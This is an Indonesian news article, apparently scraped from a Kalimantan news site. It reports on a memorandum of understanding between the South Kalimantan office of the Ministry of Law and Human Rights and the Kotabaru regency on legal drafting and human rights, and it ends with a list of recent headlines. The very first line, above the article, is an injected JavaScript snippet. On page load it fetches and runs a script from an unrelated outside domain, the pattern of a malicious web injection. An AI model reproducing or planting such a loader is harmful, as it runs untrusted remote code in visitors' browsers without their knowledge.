(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kemenkumham Kalsel MoU dengan Pemkab Kotabaru


BANJARMASIN, Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kemnkum HAM) Kalimantan Selatan kedatangan tamu dari Pemkab Kotabaru terkait nota kesepahaman atau memorandum of understanding (MoU).

Kanwil Kemenkumham Kalsel dan Pemkab Kotabaru menandatangani MoU tentang pembentukan, pelayanan, pengembangan budaya hukum serta penghormatan pemajuan dan pemenuhan hak asasi manusia di Kabupaten Kotabaru.

Tujuan nota kesepahaman bersama untuk meningkatkan kualitas substansi dan koordinasi pembentukan peraturan daerah di Kabupaten Kotabaru. Peningkatan kesadaran hukum menuju terbentuknya masyarakat yang cerdas dan taat hukum, serta meningkatkan pelayanan hukum dan penghormatan, pemajuan, dan pemenuhan HAM.

Penandatangan MoU disaksikan Kepala Divisi Administrasi Edy MS Hidayat, Kepala Divisi Pelayanan Hukum dan HAM Subianta Mandala, Kepala Divisi Pemasyarakatan Alfi Zahrin dari Pemkab Kotabaru diwakili Kepala Bagian Hukum Setda Kotabaru Akhmad Rajudinoor.

Kabag Hukum Setda Kotabaru Akhmad Rajudinoor mengapresiasi atas sambutan Kanwil beserta jajarannya dimana telah lama terjalin kerjasama antara Pemkab Kotabaru melalui pembangunan Lapas.

“Dengan kerjasama ini diharapkan perancangan Perda dapat dilakukan harmonisasi, sehingga hasil dari rancangan Perda nanti dapat bermanfaat bagi masayarakat,” katanya.

Akhmad juga menyampaikan tujuannya datang ke Kanwil untuk dapat menjalin kerjasama dengan Kemenkumham dalam melakukan Perancangan Perundang-undangan (legal drafter), dan pembinaan bagi para Perancang Perundang-undangan di Kotabaru yang memerlukan bantuan dari Kemenkumham.

“Terkait perancang, untuk bisa dididik dengan baik di provinsi. Untuk saat ini di Provinsi Kalsel juga belum ada Perancang Perundang-undangan. Jika suatu saat provinsi atau kabupaten terdapat legal drafter, diharapkan Kemenkumham dapat menjadi pendamping untuk melakukan pembinaan,” ungkap Akhmad.

Sementara itu, Kakanwil Kemenkumham Kalsel, Ferdinand Siagian menjelaskan, masalah legal drafter adalah kewenangan Kanwil Kemenkumham Kalsel, dimana jika ada pembuatan produk hukum, pihaknya bisa diikut sertakan.

“Dari Kementerian Dalam Negeri juga menyampaikan bahwa setiap ada produk hukum yang akan diterbitkan, harus ada perwakilan dari Kemenkumham,” ungkap Kakanwil. (rico)

Reporter:Rico
Editor:Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.